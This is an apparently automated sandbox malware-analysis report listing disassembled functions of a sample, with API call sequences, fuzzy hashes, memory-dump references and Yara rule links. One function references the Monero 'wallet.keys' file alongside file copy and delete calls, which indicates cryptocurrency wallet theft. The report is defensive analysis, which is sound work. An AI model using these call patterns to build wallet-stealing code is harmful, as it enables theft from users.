Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 749d64902cc15b33d1cce9999030c3d147ffe29928d74553caba88a92c661e6c
Instruction ID: 832361584e0c7a2d6d5567a747f8b68eaa714a4e0068015f5602cf813d25d1d2
Opcode Fuzzy Hash: 749d64902cc15b33d1cce9999030c3d147ffe29928d74553caba88a92c661e6c
Instruction Fuzzy Hash: ACE0E675A50309BFD710DB94DD09E5977B8EB44702F104154FD0B97280D9B56E109F56

Function 6CEC0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CEC0CD5

Part of subcall function 6CEAF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CEAF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CEC0D40
free.MOZGLUE ref: 6CEC0DCB

Part of subcall function 6CE95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CE95EDB
Part of subcall function 6CE95E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CE95F27
Part of subcall function 6CE95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CE95FB2

free.MOZGLUE ref: 6CEC0DDD
free.MOZGLUE ref: 6CEC0DF2

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 85cc0e2e2777bc69f75875a3f841fdbfae40a34dad6851abb30298e025cfb228
Instruction ID: 0116b393c91c295a5f66222b8e7c05b12bfa156e13e46e0b9568d576f5b6e604
Opcode Fuzzy Hash: 85cc0e2e2777bc69f75875a3f841fdbfae40a34dad6851abb30298e025cfb228
Instruction Fuzzy Hash: 4E41F4B5A097849BD720CF29C18079AFBF5BF89754F208A2EE8E887750D7709545CB83

Function 6CECCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CEBDA31,00100000,?,?,00000000,?), ref: 6CECCDA4

Part of subcall function 6CE8CA10: malloc.MOZGLUE(?), ref: 6CE8CA26

Part of subcall function 6CECD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CECCDBA,00100000,?,00000000,?,6CEBDA31,00100000,?,?,00000000,?), ref: 6CECD158
Part of subcall function 6CECD130: InitializeConditionVariable.KERNEL32(00000098,?,6CECCDBA,00100000,?,00000000,?,6CEBDA31,00100000,?,?,00000000,?), ref: 6CECD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CEBDA31,00100000,?,?,00000000,?), ref: 6CECCDC4

Part of subcall function 6CEC7480: ReleaseSRWLockExclusive.KERNEL32(?,6CED15FC,?,?,?,?,6CED15FC,?), ref: 6CEC74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CEBDA31,00100000,?,?,00000000,?), ref: 6CECCECC

Part of subcall function 6CE8CA10: mozalloc_abort.MOZGLUE(?), ref: 6CE8CAA2

Part of subcall function 6CEBCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CECCEEA,?,?,?,?,00000000,?,6CEBDA31,00100000,?,?,00000000), ref: 6CEBCB57
Part of subcall function 6CEBCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CEBCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CECCEEA,?,?), ref: 6CEBCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CEBDA31,00100000,?,?,00000000,?), ref: 6CECD058

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 8e09aa3192a974c97fe62f65f94ed9f3f9b2de2c62899c7b6075540d98f7a7d2
Instruction ID: d08c785ad94d83011e8bd96b8bce34a67afa50e066c9f2bc898b479238ac01d8
Opcode Fuzzy Hash: 8e09aa3192a974c97fe62f65f94ed9f3f9b2de2c62899c7b6075540d98f7a7d2
Instruction Fuzzy Hash: 6BD16E75B04B469FD708CF28C580799B7F1BF89308F11866DD86987712EB31A9A5CB82

Function 0052D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,0108E700,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0052D481
lstrlen.KERNEL32(00000000), ref: 0052D698
lstrlen.KERNEL32(00000000), ref: 0052D6AC
DeleteFileA.KERNEL32(00000000), ref: 0052D72B

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3dc60bf36e5fb2b9734610c39a6cfd475ce2f58a47fcd32d3ceb291a49899203
Instruction ID: 92a903172e5f9679b4f2c90f92087315fd71df2ac342f93e87137edf1597d636
Opcode Fuzzy Hash: 3dc60bf36e5fb2b9734610c39a6cfd475ce2f58a47fcd32d3ceb291a49899203
Instruction Fuzzy Hash: 1D910672910109ABDB04FBA4DC9AEEEBB38BF94300F508158F54776091EF746A09CB66

Function 6CE95C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CE95D40
EnterCriticalSection.KERNEL32(6CEFF688), ref: 6CE95D67
__aulldiv.LIBCMT ref: 6CE95DB4
LeaveCriticalSection.KERNEL32(6CEFF688), ref: 6CE95DED

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 44ee743d10e29b36fada9e058a1168008afd62ac7676bf0bd5384dc98ec2ee43
Instruction ID: 5af5da68cddef0bae6858e5ba667349bacbbc437cbd06253cc954840f4193e56
Opcode Fuzzy Hash: 44ee743d10e29b36fada9e058a1168008afd62ac7676bf0bd5384dc98ec2ee43
Instruction Fuzzy Hash: 16516D71E011198FDF08CF68C854AAEBBB2FF85308F2A862DC821A7750DB346945CBD0

Function 6CE7CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE7CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CE7CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CE7CF4E

Strings

0, xrefs: 6CE7CF30

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: e441e9a55bb8f6d4c6ea98ef6963204384ec9c6a69735e0fb6fd84eef56b908f
Instruction ID: 3ec2ef12cb30c343a60d813618a2feb686b0a0874ae4ab0c2a5711174a25ff36
Opcode Fuzzy Hash: e441e9a55bb8f6d4c6ea98ef6963204384ec9c6a69735e0fb6fd84eef56b908f
Instruction Fuzzy Hash: A6510375A002168FCB14CF18C490AAABBB5FF99304F29859DD8595F351D731ED06CBE0

Function 00533560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: ebdac02f207d84921b945f5f919eb36c22e1a2f1e56a3048bc9ff4ac0d7c5492
Instruction ID: f328c644f48be8fe26e72611a8dbb6a6fb7dc8e6342ebb66c6f927557436f088
Opcode Fuzzy Hash: ebdac02f207d84921b945f5f919eb36c22e1a2f1e56a3048bc9ff4ac0d7c5492
Instruction Fuzzy Hash: B041F2B1D10109AFCB04EFA4D996AEEBB74BF54304F108418F51677291DB75AA09CF91

Function 6CEB6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CEB82BC,?,?), ref: 6CEB649B

Part of subcall function 6CE8CA10: malloc.MOZGLUE(?), ref: 6CE8CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB64A9

Part of subcall function 6CEAFA80: GetCurrentThreadId.KERNEL32 ref: 6CEAFA8D
Part of subcall function 6CEAFA80: AcquireSRWLockExclusive.KERNEL32(6CEFF448), ref: 6CEAFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB653F
free.MOZGLUE(?), ref: 6CEB655A

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 65788bf719c806e42e0788fb0a49d4c313a49e4a6ef25df3f232d70518e89dd4
Instruction ID: 443687b931e63f849f70b018c9df83c9916725aa81271d5f06c134aac2aaf3a3
Opcode Fuzzy Hash: 65788bf719c806e42e0788fb0a49d4c313a49e4a6ef25df3f232d70518e89dd4
Instruction Fuzzy Hash: F33190B5A043059FC704CF14D980AAABBF4FF89314F10482EE85A97740DB30E919CB92

Function 6CE8B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CE8B4F5
AcquireSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CE8B502
ReleaseSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CE8B542
free.MOZGLUE(?), ref: 6CE8B578

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 49937f281dc99e3d66112175a2ba143b7f52bd1ec930f748d6672f7e07d30f5b
Instruction ID: 61518eacbbf1201109942c70a338febf185329f3bb7255f229bac02652bb3be1
Opcode Fuzzy Hash: 49937f281dc99e3d66112175a2ba143b7f52bd1ec930f748d6672f7e07d30f5b
Instruction Fuzzy Hash: AE11AC30E05B45C7D3118F29E800766B3B2FFDA319F20970AE89957B11EBB5A5C5C690

Function 00537980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00540E00,00000000,?), ref: 005379B0
RtlAllocateHeap.NTDLL(00000000), ref: 005379B7
GetLocalTime.KERNEL32(?,?,?,?,?,00540E00,00000000,?), ref: 005379C4
wsprintfA.USER32 ref: 005379F3

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 0282032562c20e375336e3c1e79c4232a26eae1ee4b4bd54682ca81a53fd6a3c
Instruction ID: 3e48296acda297816421f05f27733aa28cbf18b678dc07e3c7d0bddc4bdb506c
Opcode Fuzzy Hash: 0282032562c20e375336e3c1e79c4232a26eae1ee4b4bd54682ca81a53fd6a3c
Instruction Fuzzy Hash: 5A112AB2904219ABCB14DFC9DD45BBEBBF8FB4CB11F10411AF606A2280D27D5940CBB5

Function 6CEB3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CE7F20E,?), ref: 6CEB3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CE7F20E,00000000,?), ref: 6CEB3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CEB3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CEB3E0E

Part of subcall function 6CEACC00: GetCurrentProcess.KERNEL32(?,?,6CE731A7), ref: 6CEACC0D
Part of subcall function 6CEACC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CE731A7), ref: 6CEACC16

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 43adc33f5efd19ee283cc54c9bd523f610d7365a7916c990db7378954defc500
Instruction ID: 14365e90bd48ce3e1d15ff42bb02cccad76a8d957883080beeba73d4cac67693
Opcode Fuzzy Hash: 43adc33f5efd19ee283cc54c9bd523f610d7365a7916c990db7378954defc500
Instruction Fuzzy Hash: CAF012B1A402087FD700AB54EC82DAB377DDB8A624F150025FD1957741D635BE1586F7

Function 0053C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0053C74E

Part of subcall function 0053BF9F: __amsg_exit.LIBCMT ref: 0053BFAF

__getptd.LIBCMT ref: 0053C765
__amsg_exit.LIBCMT ref: 0053C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0053C797

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

